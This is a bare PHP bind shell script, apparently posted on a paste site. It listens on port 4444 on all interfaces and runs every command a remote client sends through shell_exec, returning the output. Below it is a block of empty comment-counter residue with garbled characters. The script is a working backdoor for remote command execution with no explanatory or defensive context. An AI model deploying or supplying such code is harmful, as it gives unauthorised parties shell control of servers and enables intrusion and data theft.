<?php
set_time_limit(0);
$port = 4444;
$address = '0.0.0.0';
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$sock) {
ย ย die("Socket creation failed: " . socket_strerror(socket_last_error()) . "\n");
}
$bind = socket_bind($sock, $address, $port);
if (!$bind) {
ย ย die("Socket bind failed: " . socket_strerror(socket_last_error()) . "\n");
}
$listen = socket_listen($sock, 5);
if (!$listen) {
ย ย die("Socket listen failed: " . socket_strerror(socket_last_error()) . "\n");
}
echo "[+] Listening on $address:$port...\n";
$client = socket_accept($sock);
if (!$client) {
ย ย die("Socket accept failed: " . socket_strerror(socket_last_error()) . "\n");
}
echo "[+] Connection accepted!\n";
socket_write($client, "Connected to Bind Shell\n> ");
while (true) {
ย ย $input = socket_read($client, 2048);
ย ย if ($input === false) {
ย ย ย ย break;
ย ย }
ย ย $input = trim($input);
ย ย if ($input == 'exit' || $input == 'quit') {
ย ย ย ย socket_write($client, "Goodbye!\n");
ย ย ย ย break;
ย ย }
ย ย $output = shell_exec($input . " 2>&1");
ย ย if ($output === null || $output === '') {
ย ย ย ย $output = "Command executed (no output)\n";
ย ย }
ย ย socket_write($client, $output . "\n> ");
}
socket_close($client);
socket_close($sock);
echo "[+] Connection closed.\n";
?>
Comments
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐
0 B
|๐
/๐